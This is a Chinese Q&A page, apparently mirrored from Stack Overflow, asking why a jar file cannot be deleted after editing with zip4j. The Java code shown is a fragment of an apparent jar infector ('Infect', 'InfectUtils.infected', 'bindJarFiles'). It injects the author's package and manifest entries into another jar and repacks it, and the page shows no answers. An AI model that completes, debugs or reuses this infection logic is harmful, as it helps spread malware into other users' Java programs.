使用zip4j(Java)编辑后无法删除文件

时间:2017-01-20 16:01:10

标签: java file zip4j

我正在尝试将jar文件复制到其他jar文件中。 所以为了让他们在一起我解压缩到Infect.BIND_TMP。 之后我继续删除"首先"但是这里出现了问题:

我得到"假"由file.delete();

返回

我没有关闭所有流吗?我找不到错误......:c

mainFile(); just从MANIFEST.MF jarFile

返回MainClass
    public static boolean bindJarFiles(File first, File second) {
    try {

        File tmp_bind = new File(Infect.TMP_BIND);
        if (tmp_bind.exists()) {
            tmp_bind.delete();
            tmp_bind.mkdirs();
        } else {
            tmp_bind.mkdirs();
        }

        tmp_bind = null;

        ZipFile m = new ZipFile(first);
        ZipFile g = new ZipFile(second);

        if (InfectUtils.infected(second))
            return false;

        g.extractAll(Infect.TMP_BIND);

        @SuppressWarnings("unchecked")
        List<FileHeader> fileHeaders = m.getFileHeaders();

        for (FileHeader fileHeader : fileHeaders) {
            if (fileHeader.isDirectory() && fileHeader.getFileName().equals(superPackageNameFromFile())) {
                g.extractFile(fileHeader, Infect.TMP_BIND);
            }
            if (fileHeader.isDirectory() && fileHeader.getFileName().equals("META-INF")) {
                g.extractFile(fileHeader, Infect.TMP_BIND);
            }
        }

        PrintWriter pw = new PrintWriter(new File(Infect.TMP_BIND_FILES_TXT));
        pw.println(mainFile(second));
        pw.println("_-$-_" + superPackageNameFromFile());
        pw.flush();
        pw.close();

        // Reset all the open Streams etc

        String p = second.getAbsolutePath();

        g = null;

        if (!second.delete()) {
            System.err.println("Cannot delete File!");
        }

        g = new ZipFile(p);

        ZipParameters params = new ZipParameters();
        params.setIncludeRootFolder(false);
        params.setCompressionMethod(Zip4jConstants.COMP_DEFLATE);
        params.setCompressionLevel(Zip4jConstants.DEFLATE_LEVEL_NORMAL);

        g.createZipFile(new File(Infect.TMP_BIND), params);

    } catch (ZipException | FileNotFoundException e) {
        e.printStackTrace();
        return false;
    }
    return true;
}

0 个答案:

没有答案